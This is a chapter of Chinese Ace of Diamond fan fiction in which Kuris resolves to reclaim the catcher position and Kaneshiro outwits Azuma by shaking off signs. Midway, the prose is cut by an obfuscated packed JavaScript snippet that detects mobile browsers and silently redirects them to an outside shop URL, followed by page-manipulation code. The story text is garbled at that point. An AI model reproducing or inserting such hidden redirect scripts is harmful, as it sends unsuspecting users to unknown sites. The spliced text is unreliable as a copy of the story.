如果投手是太阳,那捕手就是影子,阳光下影子存在于任何地方。 白鸟不知道身边的御幸在想什么,克里斯倒是若有所觉,如果说之前的自己只是活在当下,丝毫不去顾及未来如何,那现在又重新拥有了未来的他,在见证了白鸟的一次次投球后,重燃了当初第一次见到白鸟时的激动与渴望。 他想要重回这个残酷又充满了魅力的球场,想要亲手去打磨这颗钻石。 他想要重新拿回正捕手的位置。 此刻,克里斯心中自养伤期间一直蠢蠢欲动的心终于落定。 他其实一直在紧张缺失的这段时间,在止步不前都是在退步的豪门棒球社,他的复健不知何时才能停止,不知何时才能回到曾经自己的巅峰,而那时御幸这个天赋恐怖的后辈,又是否已经到了他难以追及的地方。 难以想象现在的自己竟然会这么多愁善感,这场几乎改变了他人生的伤病,到底改变了他人格底色的一部分。 但现在,克里斯想着,我绝不会放弃,因为上帝终究让我重新回到了这里,让我看见了自己追逐的东西正闪耀于眼前。 御幸若有所感,突然侧头与克里斯对视。 他先是一愣,紧接着露出一个大大的笑容,克里斯前辈终于想明白了吗?他就是为了和克里斯前辈竞争,为了名正言顺拿到这个正捕手位置才来到青道的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841491|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>能重新与克里斯前辈一起争夺正捕手位置……他求而不得! 赛场上,面对东清国的打席,球数来到了2好球2坏球的关键。 第三球指叉球未能奏效,被东清国打到界外,仲宗根迅速配了一球直攻内角低的直球却依旧被击出界外,打者仿佛完全没有被那三球指叉影响。 可……这怎么可能?仲宗根并不相信。 ‘第5球,快速指叉球,就用这球直接将他淘汰!’仲宗根摆出指叉球的暗号。 可投手丘上,金城摇了摇头。 “!”仲宗根瞪大了眼睛,这是金城第一次对着他的指叉球暗号摇头,这比球被东清国打出全垒打还要让仲宗根难以接受。 ‘为什么?!’ 金城注视着东清国的状态,复又坚决地摇了摇头。 导播注意到这一插曲,立刻将镜头锁定冲绳的投捕。 “哦?这对投捕这是在这一刻有了矛盾?” “金城选手对着仲宗根选手的暗号摇头了,也许他是觉得再在此刻投指叉球会有被东选手打出去的风险,毕竟东选手刚刚已经看了三球指叉球的轨迹,且将第三球击出了界外球。” “我认为此时金城选手的想法是正确的。”转播员评价。 仲宗根虽然不赞同,但他决定相信金城的选择,于是比出滑球的暗号。 可金城又摇头了。 这又是为什么?仲宗根相当迷惑,于是比出直球的暗号,金城依旧摇头。 就这一比一摇之间,仲宗根突然意识到,金城一直在密切关注打者的状态,终于,在仲宗根的暗号重新切回指叉球时。 金城动了。 他流畅地甩出手臂,柔软的手臂以违背人体的角度将棒球掷出,在投手丘与本垒之间划出一道漂亮的曲线。 东清国挥出球棒,那颗小球与球棒咫尺之遥落进捕手的手套。 “啪!” “Strike!” “三振出局!” “好样的!!金城!!” 冲绳方顿时欢呼起来。 东清国懊恼地放下手臂,刚刚他状态极佳,可冲绳投捕一直无法确定第五球投什么,时间流逝,他的击球状态也渐渐回落。 突然,东清国意识到,这可能是金城有意为之,因为第五球依旧是他猜测的指叉球。 他凝重地对着上前的结成说道:“这个投手比捕手还要狡猾,小心。” 此刻仲宗根当然也明白了金城的意思。 金城则看着东清国的背影露出个狡黠的笑,打者的战意,永远是投手丘上的投手最清楚,他就是故意破坏东清国的打击欲望,才一直摇头。 幸好仲宗根没有叫暂停,暂停虽然也能达到目的,但无疑会给冲绳一个不太好的信号,能像刚刚那样直接解决最好。 一切正按他所想的在进行。 白鸟微微叹了口气,拖时间以破坏打者的状态,真是计策老套但好用啊。 御幸额角留下一滴汗:“你要是想学这个,能在摇头前给我个暗示吗?” 要不然,在本垒处提心吊胆、想七想八的捕手就要从仲宗根换成他了。 “怎么暗示?”白鸟思考,他的一举一动都在打者眼中。 “先点头再摇头?” “那只能用一次吧。” “先来一次也行啊。”御幸和白鸟对视,然后两人“嘿嘿嘿”地笑了。 克里斯一头黑线。